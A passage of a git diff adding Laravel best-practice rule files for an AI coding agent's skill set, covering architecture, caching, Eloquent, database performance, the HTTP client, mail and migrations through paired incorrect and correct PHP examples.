+When ordering by multiple columns, create a single compound index in the same column order as the `ORDER BY` clause. Individual single-column indexes cannot combine for multi-column sorts — the database will filesort without a compound index.
+
+```php
+// Migration
+$table->index(['last_name', 'first_name']);
+
+// Query — column order must match the index
+User::query()->orderBy('last_name')->orderBy('first_name')->paginate();
+```
+
+## Use Correlated Subqueries for Has-Many Ordering
+
+When sorting by a value from a has-many relationship, avoid joins (they duplicate rows). Use a correlated subquery inside `orderBy()` instead, paired with an `addSelect` scope for eager loading.
+
+```php
+public function scopeOrderByLastLogin($query): void
+{
+ $query->orderByDesc(Login::select('created_at')
+ ->whereColumn('user_id', 'users.id')
+ ->latest()
+ ->take(1)
+ );
+}
+```
\ No newline at end of file
diff --git a/.agents/skills/laravel-best-practices/rules/architecture.md b/.agents/skills/laravel-best-practices/rules/architecture.md
new file mode 100644
index 000000000..165056422
--- /dev/null
+++ b/.agents/skills/laravel-best-practices/rules/architecture.md
@@ -0,0 +1,202 @@
+# Architecture Best Practices
+
+## Single-Purpose Action Classes
+
+Extract discrete business operations into invokable Action classes.
+
+```php
+class CreateOrderAction
+{
+ public function __construct(private InventoryService $inventory) {}
+
+ public function execute(array $data): Order
+ {
+ $order = Order::create($data);
+ $this->inventory->reserve($order);
+
+ return $order;
+ }
+}
+```
+
+## Use Dependency Injection
+
+Always use constructor injection. Avoid `app()` or `resolve()` inside classes.
+
+Incorrect:
+```php
+class OrderController extends Controller
+{
+ public function store(StoreOrderRequest $request)
+ {
+ $service = app(OrderService::class);
+
+ return $service->create($request->validated());
+ }
+}
+```
+
+Correct:
+```php
+class OrderController extends Controller
+{
+ public function __construct(private OrderService $service) {}
+
+ public function store(StoreOrderRequest $request)
+ {
+ return $this->service->create($request->validated());
+ }
+}
+```
+
+## Code to Interfaces
+
+Depend on contracts at system boundaries (payment gateways, notification channels, external APIs) for testability and swappability.
+
+Incorrect (concrete dependency):
+```php
+class OrderService
+{
+ public function __construct(private StripeGateway $gateway) {}
+}
+```
+
+Correct (interface dependency):
+```php
+interface PaymentGateway
+{
+ public function charge(int $amount, string $customerId): PaymentResult;
+}
+
+class OrderService
+{
+ public function __construct(private PaymentGateway $gateway) {}
+}
+```
+
+Bind in a service provider:
+
+```php
+$this->app->bind(PaymentGateway::class, StripeGateway::class);
+```
+
+## Default Sort by Descending
+
+When no explicit order is specified, sort by `id` or `created_at` descending. Explicit ordering prevents cross-database inconsistencies between MySQL and Postgres.
+
+Incorrect:
+```php
+$posts = Post::paginate();
+```
+
+Correct:
+```php
+$posts = Post::latest()->paginate();
+```
+
+## Use Atomic Locks for Race Conditions
+
+Prevent race conditions with `Cache::lock()` or `lockForUpdate()`.
+
+```php
+Cache::lock('order-processing-'.$order->id, 10)->block(5, function () use ($order) {
+ $order->process();
+});
+
+// Or at query level
+$product = Product::where('id', $id)->lockForUpdate()->first();
+```
+
+## Use `mb_*` String Functions
+
+When no Laravel helper exists, prefer `mb_strlen`, `mb_strtolower`, etc. for UTF-8 safety. Standard PHP string functions count bytes, not characters.
+
+Incorrect:
+```php
+strlen('José'); // 5 (bytes, not characters)
+strtolower('MÜNCHEN'); // 'mÜnchen' — fails on multibyte
+```
+
+Correct:
+```php
+mb_strlen('José'); // 4 (characters)
+mb_strtolower('MÜNCHEN'); // 'münchen'
+
+// Prefer Laravel's Str helpers when available
+Str::length('José'); // 4
+Str::lower('MÜNCHEN'); // 'münchen'
+```
+
+## Use `defer()` for Post-Response Work
+
+For lightweight tasks that don't need to survive a crash (logging, analytics, cleanup), use `defer()` instead of dispatching a job. The callback runs after the HTTP response is sent — no queue overhead.
+
+Incorrect (job overhead for trivial work):
+```php
+dispatch(new LogPageView($page));
+```
+
+Correct (runs after response, same process):
+```php
+defer(fn () => PageView::create(['page_id' => $page->id, 'user_id' => auth()->id()]));
+```
+
+Use jobs when the work must survive process crashes or needs retry logic. Use `defer()` for fire-and-forget work.
+
+## Use `Context` for Request-Scoped Data
+
+The `Context` facade passes data through the entire request lifecycle — middleware, controllers, jobs, logs — without passing arguments manually.
+
+```php
+// In middleware
+Context::add('tenant_id', $request->header('X-Tenant-ID'));
+
+// Anywhere later — controllers, jobs, log context
+$tenantId = Context::get('tenant_id');
+```
+
+Context data automatically propagates to queued jobs and is included in log entries. Use `Context::addHidden()` for sensitive data that should be available in queued jobs but excluded from log context. If data must not leave the current process, do not store it in `Context`.
+
+## Use `Concurrency::run()` for Parallel Execution
+
+Run independent operations in parallel using child processes — no async libraries needed.
+
+```php
+use Illuminate\Support\Facades\Concurrency;
+
+[$users, $orders] = Concurrency::run([
+ fn () => User::count(),
+ fn () => Order::where('status', 'pending')->count(),
+]);
+```
+
+Each closure runs in a separate process with full Laravel access. Use for independent database queries, API calls, or computations that would otherwise run sequentially.
+
+## Convention Over Configuration
+
+Follow Laravel conventions. Don't override defaults unnecessarily.
+
+Incorrect:
+```php
+class Customer extends Model
+{
+ protected $table = 'Customer';
+ protected $primaryKey = 'customer_id';
+
+ public function roles(): BelongsToMany
+ {
+ return $this->belongsToMany(Role::class, 'role_customer', 'customer_id', 'role_id');
+ }
+}
+```
+
+Correct:
+```php
+class Customer extends Model
+{
+ public function roles(): BelongsToMany
+ {
+ return $this->belongsToMany(Role::class);
+ }
+}
+```
\ No newline at end of file
diff --git a/.agents/skills/laravel-best-practices/rules/blade-views.md b/.agents/skills/laravel-best-practices/rules/blade-views.md
new file mode 100644
index 000000000..c6f8aaf1e
--- /dev/null
+++ b/.agents/skills/laravel-best-practices/rules/blade-views.md
@@ -0,0 +1,36 @@
+# Blade & Views Best Practices
+
+## Use `$attributes->merge()` in Component Templates
+
+Hardcoding classes prevents consumers from adding their own. `merge()` combines class attributes cleanly.
+
+```blade
+merge(['class' => 'alert alert-'.$type]) }}>
+ {{ $message }}
+
+```
+
+## Use `@pushOnce` for Per-Component Scripts
+
+If a component renders inside a `@foreach`, `@push` inserts the script N times. `@pushOnce` guarantees it's included exactly once.
+
+## Prefer Blade Components Over `@include`
+
+`@include` shares all parent variables implicitly (hidden coupling). Components have explicit props, attribute bags, and slots.
+
+## Use View Composers for Shared View Data
+
+If every controller rendering a sidebar must pass `$categories`, that's duplicated code. A View Composer centralizes it.
+
+## Use Blade Fragments for Partial Re-Renders (htmx/Turbo)
+
+A single view can return either the full page or just a fragment, keeping routing clean.
+
+```php
+return view('dashboard', compact('users'))
+ ->fragmentIf($request->hasHeader('HX-Request'), 'user-list');
+```
+
+## Use `@aware` for Deeply Nested Component Props
+
+Avoids re-passing parent props through every level of nested components.
\ No newline at end of file
diff --git a/.agents/skills/laravel-best-practices/rules/caching.md b/.agents/skills/laravel-best-practices/rules/caching.md
new file mode 100644
index 000000000..eb3ef3e62
--- /dev/null
+++ b/.agents/skills/laravel-best-practices/rules/caching.md
@@ -0,0 +1,70 @@
+# Caching Best Practices
+
+## Use `Cache::remember()` Instead of Manual Get/Put
+
+Atomic pattern prevents race conditions and removes boilerplate.
+
+Incorrect:
+```php
+$val = Cache::get('stats');
+if (! $val) {
+ $val = $this->computeStats();
+ Cache::put('stats', $val, 60);
+}
+```
+
+Correct:
+```php
+$val = Cache::remember('stats', 60, fn () => $this->computeStats());
+```
+
+## Use `Cache::flexible()` for Stale-While-Revalidate
+
+On high-traffic keys, one user always gets a slow response when the cache expires. `flexible()` serves slightly stale data while refreshing in the background.
+
+Incorrect: `Cache::remember('users', 300, fn () => User::all());`
+
+Correct: `Cache::flexible('users', [300, 600], fn () => User::all());` — fresh for 5 min, stale-but-served up to 10 min, refreshes via deferred function.
+
+## Use `Cache::memo()` to Avoid Redundant Hits Within a Request
+
+If the same cache key is read multiple times per request (e.g., a service called from multiple places), `memo()` stores the resolved value in memory.
+
+`Cache::memo()->get('settings');` — 5 calls = 1 Redis round-trip instead of 5.
+
+## Use Cache Tags to Invalidate Related Groups
+
+Without tags, invalidating a group of entries requires tracking every key. Tags let you flush atomically. Only works with `redis`, `memcached`, `dynamodb` — not `file` or `database`.
+
+```php
+Cache::tags(['user-1'])->flush();
+```
+
+## Use `Cache::add()` for Atomic Conditional Writes
+
+`add()` only writes if the key does not exist — atomic, no race condition between checking and writing.
+
+Incorrect: `if (! Cache::has('lock')) { Cache::put('lock', true, 10); }`
+
+Correct: `Cache::add('lock', true, 10);`
+
+## Use `once()` for Per-Request Memoization
+
+`once()` memoizes a function's return value for the lifetime of the object (or request for closures). Unlike `Cache::memo()`, it doesn't hit the cache store at all — pure in-memory.
+
+```php
+public function roles(): Collection
+{
+ return once(fn () => $this->loadRoles());
+}
+```
+
+Multiple calls return the cached result without re-executing. Use `once()` for expensive computations called multiple times per request. Use `Cache::memo()` when you also want cross-request caching.
+
+## Configure Failover Cache Stores in Production
+
+If Redis goes down, the app falls back to a secondary store automatically.
+
+```php
+'failover' => ['driver' => 'failover', 'stores' => ['redis', 'database']],
+```
\ No newline at end of file
diff --git a/.agents/skills/laravel-best-practices/rules/collections.md b/.agents/skills/laravel-best-practices/rules/collections.md
new file mode 100644
index 000000000..14f683d32
--- /dev/null
+++ b/.agents/skills/laravel-best-practices/rules/collections.md
@@ -0,0 +1,44 @@
+# Collection Best Practices
+
+## Use Higher-Order Messages for Simple Operations
+
+Incorrect:
+```php
+$users->each(function (User $user) {
+ $user->markAsVip();
+});
+```
+
+Correct: `$users->each->markAsVip();`
+
+Works with `each`, `map`, `sum`, `filter`, `reject`, `contains`, etc.
+
+## Choose `cursor()` vs. `lazy()` Correctly
+
+- `cursor()` — one model in memory, but cannot eager-load relationships (N+1 risk).
+- `lazy()` — chunked pagination returning a flat LazyCollection, supports eager loading.
+
+Incorrect: `User::with('roles')->cursor()` — eager loading silently ignored.
+
+Correct: `User::with('roles')->lazy()` for relationship access; `User::cursor()` for attribute-only work.
+
+## Use `lazyById()` When Updating Records While Iterating
+
+`lazy()` uses offset pagination — updating records during iteration can skip or double-process. `lazyById()` uses `id > last_id`, safe against mutation.
+
+## Use `toQuery()` for Bulk Operations on Collections
+
+Avoids manual `whereIn` construction.
+
+Incorrect: `User::whereIn('id', $users->pluck('id'))->update([...]);`
+
+Correct: `$users->toQuery()->update([...]);`
+
+## Use `#[CollectedBy]` for Custom Collection Classes
+
+More declarative than overriding `newCollection()`.
+
+```php
+#[CollectedBy(UserCollection::class)]
+class User extends Model {}
+```
\ No newline at end of file
diff --git a/.agents/skills/laravel-best-practices/rules/config.md b/.agents/skills/laravel-best-practices/rules/config.md
new file mode 100644
index 000000000..8fd8f536f
--- /dev/null
+++ b/.agents/skills/laravel-best-practices/rules/config.md
@@ -0,0 +1,73 @@
+# Configuration Best Practices
+
+## `env()` Only in Config Files
+
+Direct `env()` calls return `null` when config is cached.
+
+Incorrect:
+```php
+$key = env('API_KEY');
+```
+
+Correct:
+```php
+// config/services.php
+'key' => env('API_KEY'),
+
+// Application code
+$key = config('services.key');
+```
+
+## Use Encrypted Env or External Secrets
+
+Never store production secrets in plain `.env` files in version control.
+
+Incorrect:
+```bash
+
+# .env committed to repo or shared in Slack
+
+STRIPE_SECRET=sk_live_abc123
+AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI
+```
+
+Correct:
+```bash
+php artisan env:encrypt --env=production --readable
+php artisan env:decrypt --env=production
+```
+
+For cloud deployments, prefer the platform's native secret store (AWS Secrets Manager, Vault, etc.) and inject at runtime.
+
+## Use `App::environment()` for Environment Checks
+
+Incorrect:
+```php
+if (env('APP_ENV') === 'production') {
+```
+
+Correct:
+```php
+if (app()->isProduction()) {
+// or
+if (App::environment('production')) {
+```
+
+## Use Constants and Language Files
+
+Use class constants instead of hardcoded magic strings for model states, types, and statuses.
+
+```php
+// Incorrect
+return $this->type === 'normal';
+
+// Correct
+return $this->type === self::TYPE_NORMAL;
+```
+
+If the application already uses language files for localization, use `__()` for user-facing strings too. Do not introduce language files purely for English-only apps — simple string literals are fine there.
+
+```php
+// Only when lang files already exist in the project
+return back()->with('message', __('app.article_added'));
+```
\ No newline at end of file
diff --git a/.agents/skills/laravel-best-practices/rules/db-performance.md b/.agents/skills/laravel-best-practices/rules/db-performance.md
new file mode 100644
index 000000000..8fb719377
--- /dev/null
+++ b/.agents/skills/laravel-best-practices/rules/db-performance.md
@@ -0,0 +1,192 @@
+# Database Performance Best Practices
+
+## Always Eager Load Relationships
+
+Lazy loading causes N+1 query problems — one query per loop iteration. Always use `with()` to load relationships upfront.
+
+Incorrect (N+1 — executes 1 + N queries):
+```php
+$posts = Post::all();
+foreach ($posts as $post) {
+ echo $post->author->name;
+}
+```
+
+Correct (2 queries total):
+```php
+$posts = Post::with('author')->get();
+foreach ($posts as $post) {
+ echo $post->author->name;
+}
+```
+
+Constrain eager loads to select only needed columns (always include the foreign key):
+
+```php
+$users = User::with(['posts' => function ($query) {
+ $query->select('id', 'user_id', 'title')
+ ->where('published', true)
+ ->latest()
+ ->limit(10);
+}])->get();
+```
+
+## Prevent Lazy Loading in Development
+
+Enable this in `AppServiceProvider::boot()` to catch N+1 issues during development.
+
+```php
+public function boot(): void
+{
+ Model::preventLazyLoading(! app()->isProduction());
+}
+```
+
+Throws `LazyLoadingViolationException` when a relationship is accessed without being eager-loaded.
+
+## Select Only Needed Columns
+
+Avoid `SELECT *` — especially when tables have large text or JSON columns.
+
+Incorrect:
+```php
+$posts = Post::with('author')->get();
+```
+
+Correct:
+```php
+$posts = Post::select('id', 'title', 'user_id', 'created_at')
+ ->with(['author:id,name,avatar'])
+ ->get();
+```
+
+When selecting columns on eager-loaded relationships, always include the foreign key column or the relationship won't match.
+
+## Chunk Large Datasets
+
+Never load thousands of records at once. Use chunking for batch processing.
+
+Incorrect:
+```php
+$users = User::all();
+foreach ($users as $user) {
+ $user->notify(new WeeklyDigest);
+}
+```
+
+Correct:
+```php
+User::where('subscribed', true)->chunk(200, function ($users) {
+ foreach ($users as $user) {
+ $user->notify(new WeeklyDigest);
+ }
+});
+```
+
+Use `chunkById()` when modifying records during iteration — standard `chunk()` uses OFFSET which shifts when rows change:
+
+```php
+User::where('active', false)->chunkById(200, function ($users) {
+ $users->each->delete();
+});
+```
+
+## Add Database Indexes
+
+Index columns that appear in `WHERE`, `ORDER BY`, `JOIN`, and `GROUP BY` clauses.
+
+Incorrect:
+```php
+Schema::create('orders', function (Blueprint $table) {
+ $table->id();
+ $table->foreignId('user_id')->constrained();
+ $table->string('status');
+ $table->timestamps();
+});
+```
+
+Correct:
+```php
+Schema::create('orders', function (Blueprint $table) {
+ $table->id();
+ $table->foreignId('user_id')->index()->constrained();
+ $table->string('status')->index();
+ $table->timestamps();
+ $table->index(['status', 'created_at']);
+});
+```
+
+Add composite indexes for common query patterns (e.g., `WHERE status = ? ORDER BY created_at`).
+
+## Use `withCount()` for Counting Relations
+
+Never load entire collections just to count them.
+
+Incorrect:
+```php
+$posts = Post::all();
+foreach ($posts as $post) {
+ echo $post->comments->count();
+}
+```
+
+Correct:
+```php
+$posts = Post::withCount('comments')->get();
+foreach ($posts as $post) {
+ echo $post->comments_count;
+}
+```
+
+Conditional counting:
+
+```php
+$posts = Post::withCount([
+ 'comments',
+ 'comments as approved_comments_count' => function ($query) {
+ $query->where('approved', true);
+ },
+])->get();
+```
+
+## Use `cursor()` for Memory-Efficient Iteration
+
+For read-only iteration over large result sets, `cursor()` loads one record at a time via a PHP generator.
+
+Incorrect:
+```php
+$users = User::where('active', true)->get();
+```
+
+Correct:
+```php
+foreach (User::where('active', true)->cursor() as $user) {
+ ProcessUser::dispatch($user->id);
+}
+```
+
+Use `cursor()` for read-only iteration. Use `chunk()` / `chunkById()` when modifying records.
+
+## No Queries in Blade Templates
+
+Never execute queries in Blade templates. Pass data from controllers.
+
+Incorrect:
+```blade
+@foreach (User::all() as $user)
+ {{ $user->profile->name }}
+@endforeach
+```
+
+Correct:
+```php
+// Controller
+$users = User::with('profile')->get();
+return view('users.index', compact('users'));
+```
+
+```blade
+@foreach ($users as $user)
+ {{ $user->profile->name }}
+@endforeach
+```
\ No newline at end of file
diff --git a/.agents/skills/laravel-best-practices/rules/eloquent.md b/.agents/skills/laravel-best-practices/rules/eloquent.md
new file mode 100644
index 000000000..09cd66a05
--- /dev/null
+++ b/.agents/skills/laravel-best-practices/rules/eloquent.md
@@ -0,0 +1,148 @@
+# Eloquent Best Practices
+
+## Use Correct Relationship Types
+
+Use `hasMany`, `belongsTo`, `morphMany`, etc. with proper return type hints.
+
+```php
+public function comments(): HasMany
+{
+ return $this->hasMany(Comment::class);
+}
+
+public function author(): BelongsTo
+{
+ return $this->belongsTo(User::class, 'user_id');
+}
+```
+
+## Use Local Scopes for Reusable Queries
+
+Extract reusable query constraints into local scopes to avoid duplication.
+
+Incorrect:
+```php
+$active = User::where('verified', true)->whereNotNull('activated_at')->get();
+$articles = Article::whereHas('user', function ($q) {
+ $q->where('verified', true)->whereNotNull('activated_at');
+})->get();
+```
+
+Correct:
+```php
+public function scopeActive(Builder $query): Builder
+{
+ return $query->where('verified', true)->whereNotNull('activated_at');
+}
+
+// Usage
+$active = User::active()->get();
+$articles = Article::whereHas('user', fn ($q) => $q->active())->get();
+```
+
+## Apply Global Scopes Sparingly
+
+Global scopes silently modify every query on the model, making debugging difficult. Prefer local scopes and reserve global scopes for truly universal constraints like soft deletes or multi-tenancy.
+
+Incorrect (global scope for a conditional filter):
+```php
+class PublishedScope implements Scope
+{
+ public function apply(Builder $builder, Model $model): void
+ {
+ $builder->where('published', true);
+ }
+}
+// Now admin panels, reports, and background jobs all silently skip drafts
+```
+
+Correct (local scope you opt into):
+```php
+public function scopePublished(Builder $query): Builder
+{
+ return $query->where('published', true);
+}
+
+Post::published()->paginate(); // Explicit
+Post::paginate(); // Admin sees all
+```
+
+## Define Attribute Casts
+
+Use the `casts()` method (or `$casts` property following project convention) for automatic type conversion.
+
+```php
+protected function casts(): array
+{
+ return [
+ 'is_active' => 'boolean',
+ 'metadata' => 'array',
+ 'total' => 'decimal:2',
+ ];
+}
+```
+
+## Cast Date Columns Properly
+
+Always cast date columns. Use Carbon instances in templates instead of formatting strings manually.
+
+Incorrect:
+```blade
+{{ Carbon::createFromFormat('Y-d-m H-i', $order->ordered_at)->toDateString() }}
+```
+
+Correct:
+```php
+protected function casts(): array
+{
+ return [
+ 'ordered_at' => 'datetime',
+ ];
+}
+```
+
+```blade
+{{ $order->ordered_at->toDateString() }}
+{{ $order->ordered_at->format('m-d') }}
+```
+
+## Use `whereBelongsTo()` for Relationship Queries
+
+Cleaner than manually specifying foreign keys.
+
+Incorrect:
+```php
+Post::where('user_id', $user->id)->get();
+```
+
+Correct:
+```php
+Post::whereBelongsTo($user)->get();
+Post::whereBelongsTo($user, 'author')->get();
+```
+
+## Avoid Hardcoded Table Names in Queries
+
+Never use string literals for table names in raw queries, joins, or subqueries. Hardcoded table names make it impossible to find all places a model is used and break refactoring (e.g., renaming a table requires hunting through every raw string).
+
+Incorrect:
+```php
+DB::table('users')->where('active', true)->get();
+
+$query->join('companies', 'companies.id', '=', 'users.company_id');
+
+DB::select('SELECT * FROM orders WHERE status = ?', ['pending']);
+```
+
+Correct — reference the model's table:
+```php
+DB::table((new User)->getTable())->where('active', true)->get();
+
+// Even better — use Eloquent or the query builder instead of raw SQL
+User::where('active', true)->get();
+Order::where('status', 'pending')->get();
+```
+
+Prefer Eloquent queries and relationships over `DB::table()` whenever possible — they already reference the model's table. When `DB::table()` or raw joins are unavoidable, always use `(new Model)->getTable()` to keep the reference traceable.
+
+**Exception — migrations:** In migrations, hardcoded table names via `DB::table('settings')` are acceptable and preferred. Models change over time but migrations are frozen snapshots — referencing a model that is later renamed or deleted would break the migration.
\ No newline at end of file
diff --git a/.agents/skills/laravel-best-practices/rules/error-handling.md b/.agents/skills/laravel-best-practices/rules/error-handling.md
new file mode 100644
index 000000000..bb8e7a387
--- /dev/null
+++ b/.agents/skills/laravel-best-practices/rules/error-handling.md
@@ -0,0 +1,72 @@
+# Error Handling Best Practices
+
+## Exception Reporting and Rendering
+
+There are two valid approaches — choose one and apply it consistently across the project.
+
+**Co-location on the exception class** — keeps behavior alongside the exception definition, easier to find:
+
+```php
+class InvalidOrderException extends Exception
+{
+ public function report(): void { /* custom reporting */ }
+
+ public function render(Request $request): Response
+ {
+ return response()->view('errors.invalid-order', status: 422);
+ }
+}
+```
+
+**Centralized in `bootstrap/app.php`** — all exception handling in one place, easier to see the full picture:
+
+```php
+->withExceptions(function (Exceptions $exceptions) {
+ $exceptions->report(function (InvalidOrderException $e) { /* ... */ });
+ $exceptions->render(function (InvalidOrderException $e, Request $request) {
+ return response()->view('errors.invalid-order', status: 422);
+ });
+})
+```
+
+Check the existing codebase and follow whichever pattern is already established.
+
+## Use `ShouldntReport` for Exceptions That Should Never Log
+
+More discoverable than listing classes in `dontReport()`.
+
+```php
+class PodcastProcessingException extends Exception implements ShouldntReport {}
+```
+
+## Throttle High-Volume Exceptions
+
+A single failing integration can flood error tracking. Use `throttle()` to rate-limit per exception type.
+
+## Enable `dontReportDuplicates()`
+
+Prevents the same exception instance from being logged multiple times when `report($e)` is called in multiple catch blocks.
+
+## Force JSON Error Rendering for API Routes
+
+Laravel auto-detects `Accept: application/json` but API clients may not set it. Explicitly declare JSON rendering for API routes.
+
+```php
+$exceptions->shouldRenderJsonWhen(function (Request $request, Throwable $e) {
+ return $request->is('api/*') || $request->expectsJson();
+});
+```
+
+## Add Context to Exception Classes
+
+Attach structured data to exceptions at the source via a `context()` method — Laravel includes it automatically in the log entry.
+
+```php
+class InvalidOrderException extends Exception
+{
+ public function context(): array
+ {
+ return ['order_id' => $this->orderId];
+ }
+}
+```
\ No newline at end of file
diff --git a/.agents/skills/laravel-best-practices/rules/events-notifications.md b/.agents/skills/laravel-best-practices/rules/events-notifications.md
new file mode 100644
index 000000000..bc43f1997
--- /dev/null
+++ b/.agents/skills/laravel-best-practices/rules/events-notifications.md
@@ -0,0 +1,48 @@
+# Events & Notifications Best Practices
+
+## Rely on Event Discovery
+
+Laravel auto-discovers listeners by reading `handle(EventType $event)` type-hints. No manual registration needed in `AppServiceProvider`.
+
+## Run `event:cache` in Production Deploy
+
+Event discovery scans the filesystem per-request in dev. Cache it in production: `php artisan optimize` or `php artisan event:cache`.
+
+## Use `ShouldDispatchAfterCommit` Inside Transactions
+
+Without it, a queued listener may process before the DB transaction commits, reading data that doesn't exist yet.
+
+```php
+class OrderShipped implements ShouldDispatchAfterCommit {}
+```
+
+## Always Queue Notifications
+
+Notifications often hit external APIs (email, SMS, Slack). Without `ShouldQueue`, they block the HTTP response.
+
+```php
+class InvoicePaid extends Notification implements ShouldQueue
+{
+ use Queueable;
+}
+```
+
+## Use `afterCommit()` on Notifications in Transactions
+
+Same race condition as events — the queued notification job may run before the transaction commits.
+
+## Route Notification Channels to Dedicated Queues
+
+Mail and database notifications have different priorities. Use `viaQueues()` to route them to separate queues.
+
+## Use On-Demand Notifications for Non-User Recipients
+
+Avoid creating dummy models to send notifications to arbitrary addresses.
+
+```php
+Notification::route('mail', 'admin@example.com')->notify(new SystemAlert());
+```
+
+## Implement `HasLocalePreference` on Notifiable Models
+
+Laravel automatically uses the user's preferred locale for all notifications and mailables — no per-call `locale()` needed.
\ No newline at end of file
diff --git a/.agents/skills/laravel-best-practices/rules/http-client.md b/.agents/skills/laravel-best-practices/rules/http-client.md
new file mode 100644
index 000000000..0a7876ed3
--- /dev/null
+++ b/.agents/skills/laravel-best-practices/rules/http-client.md
@@ -0,0 +1,160 @@
+# HTTP Client Best Practices
+
+## Always Set Explicit Timeouts
+
+The default timeout is 30 seconds — too long for most API calls. Always set explicit `timeout` and `connectTimeout` to fail fast.
+
+Incorrect:
+```php
+$response = Http::get('https://api.example.com/users');
+```
+
+Correct:
+```php
+$response = Http::timeout(5)
+ ->connectTimeout(3)
+ ->get('https://api.example.com/users');
+```
+
+For service-specific clients, define timeouts in a macro:
+
+```php
+Http::macro('github', function () {
+ return Http::baseUrl('https://api.github.com')
+ ->timeout(10)
+ ->connectTimeout(3)
+ ->withToken(config('services.github.token'));
+});
+
+$response = Http::github()->get('/repos/laravel/framework');
+```
+
+## Use Retry with Backoff for External APIs
+
+External APIs have transient failures. Use `retry()` with increasing delays.
+
+Incorrect:
+```php
+$response = Http::post('https://api.stripe.com/v1/charges', $data);
+
+if ($response->failed()) {
+ throw new PaymentFailedException('Charge failed');
+}
+```
+
+Correct:
+```php
+$response = Http::retry([100, 500, 1000])
+ ->timeout(10)
+ ->post('https://api.stripe.com/v1/charges', $data);
+```
+
+Only retry on specific errors:
+
+```php
+$response = Http::retry(3, 100, function (Exception $exception, PendingRequest $request) {
+ return $exception instanceof ConnectionException
+ || ($exception instanceof RequestException && $exception->response->serverError());
+})->post('https://api.example.com/data');
+```
+
+## Handle Errors Explicitly
+
+The HTTP Client does not throw on 4xx/5xx by default. Always check status or use `throw()`.
+
+Incorrect:
+```php
+$response = Http::get('https://api.example.com/users/1');
+$user = $response->json(); // Could be an error body
+```
+
+Correct:
+```php
+$response = Http::timeout(5)
+ ->get('https://api.example.com/users/1')
+ ->throw();
+
+$user = $response->json();
+```
+
+For graceful degradation:
+
+```php
+$response = Http::get('https://api.example.com/users/1');
+
+if ($response->successful()) {
+ return $response->json();
+}
+
+if ($response->notFound()) {
+ return null;
+}
+
+$response->throw();
+```
+
+## Use Request Pooling for Concurrent Requests
+
+When making multiple independent API calls, use `Http::pool()` instead of sequential calls.
+
+Incorrect:
+```php
+$users = Http::get('https://api.example.com/users')->json();
+$posts = Http::get('https://api.example.com/posts')->json();
+$comments = Http::get('https://api.example.com/comments')->json();
+```
+
+Correct:
+```php
+use Illuminate\Http\Client\Pool;
+
+$responses = Http::pool(fn (Pool $pool) => [
+ $pool->as('users')->get('https://api.example.com/users'),
+ $pool->as('posts')->get('https://api.example.com/posts'),
+ $pool->as('comments')->get('https://api.example.com/comments'),
+]);
+
+$users = $responses['users']->json();
+$posts = $responses['posts']->json();
+```
+
+## Fake HTTP Calls in Tests
+
+Never make real HTTP requests in tests. Use `Http::fake()` and `preventStrayRequests()`.
+
+Incorrect:
+```php
+it('syncs user from API', function () {
+ $service = new UserSyncService;
+ $service->sync(1); // Hits the real API
+});
+```
+
+Correct:
+```php
+it('syncs user from API', function () {
+ Http::preventStrayRequests();
+
+ Http::fake([
+ 'api.example.com/users/1' => Http::response([
+ 'name' => 'John Doe',
+ 'email' => 'john@example.com',
+ ]),
+ ]);
+
+ $service = new UserSyncService;
+ $service->sync(1);
+
+ Http::assertSent(function (Request $request) {
+ return $request->url() === 'https://api.example.com/users/1';
+ });
+});
+```
+
+Test failure scenarios too:
+
+```php
+Http::fake([
+ 'api.example.com/*' => Http::failedConnection(),
+]);
+```
\ No newline at end of file
diff --git a/.agents/skills/laravel-best-practices/rules/mail.md b/.agents/skills/laravel-best-practices/rules/mail.md
new file mode 100644
index 000000000..c7f67966e
--- /dev/null
+++ b/.agents/skills/laravel-best-practices/rules/mail.md
@@ -0,0 +1,27 @@
+# Mail Best Practices
+
+## Implement `ShouldQueue` on the Mailable Class
+
+Makes queueing the default regardless of how the mailable is dispatched. No need to remember `Mail::queue()` at every call site — `Mail::send()` also queues it.
+
+## Use `afterCommit()` on Mailables Inside Transactions
+
+A queued mailable dispatched inside a transaction may process before the commit. Use `$this->afterCommit()` in the constructor.
+
+## Use `assertQueued()` Not `assertSent()` for Queued Mailables
+
+`Mail::assertSent()` only catches synchronous mail. Queued mailables silently pass `assertSent`, giving false confidence.
+
+Incorrect: `Mail::assertSent(OrderShipped::class);` when mailable implements `ShouldQueue`.
+
+Correct: `Mail::assertQueued(OrderShipped::class);`
+
+## Use Markdown Mailables for Transactional Emails
+
+Markdown mailables auto-generate both HTML and plain-text versions, use responsive components, and allow global style customization. Generate with `--markdown` flag.
+
+## Separate Content Tests from Sending Tests
+
+Content tests: instantiate the mailable directly, call `assertSeeInHtml()`.
+Sending tests: use `Mail::fake()` and `assertSent()`/`assertQueued()`.
+Don't mix them — it conflates concerns and makes tests brittle.
\ No newline at end of file
diff --git a/.agents/skills/laravel-best-practices/rules/migrations.md b/.agents/skills/laravel-best-practices/rules/migrations.md
new file mode 100644
index 000000000..de25aa39c
--- /dev/null
+++ b/.agents/skills/laravel-best-practices/rules/migrations.md
@@ -0,0 +1,121 @@
+# Migration Best Practices
+
+## Generate Migrations with Artisan
+
+Always use `php artisan make:migration` for consistent naming and timestamps.
+
+Incorrect (manually created file):
+```php
+// database/migrations/posts_migration.php ← wrong naming, no timestamp
+```
+
+Correct (Artisan-generated):
+```bash
+php artisan make:migration create_posts_table
+php artisan make:migration add_slug_to_posts_table
+```
+
+## Use `constrained()` for Foreign Keys
+
+Automatic naming and referential integrity.
+
+```php
+$table->foreignId('user_id')->constrained()->cascadeOnDelete();
+
+// Non-standard names
+$table->foreignId('author_id')->constrained('users');
+```
+
+## Never Modify Deployed Migrations
+
+Once a migration has run in production, treat it as immutable. Create a new migration to change the table.
+
+Incorrect (editing a deployed migration):
+```php
+// 2024_01_01_create_posts_table.php — already in production
+$table->string('slug')->unique(); // ← added after deployment
+```
+
+Correct (new migration to alter):
+```php
+// 2024_03_15_add_slug_to_posts_table.php
+Schema::table('posts', function (Blueprint $table) {
+ $table->string('slug')->unique()->after('title');
+});
+```
+
+## Add Indexes in the Migration
+
+Add indexes when creating the table, not as an afterthought. Columns used in `WHERE`, `ORDER BY`, and `JOIN` clauses need indexes.
+
+Incorrect:
+```php
+Schema::create('orders', function (Blueprint $table) {
+ $table->id();
+ $table->foreignId('user_id')->constrained();
+ $table->string('status');
+ $table->timestamps();
+});
+```
+
+Correct:
+```php
+Schema::create('orders', function (Blueprint $table) {
+ $table->id();
+ $table->foreignId('user_id')->constrained()->index();
+ $table->string('status')->index();
+ $table->timestamp('shipped_at')->nullable()->index();
+ $table->timestamps();
+});
+```
+
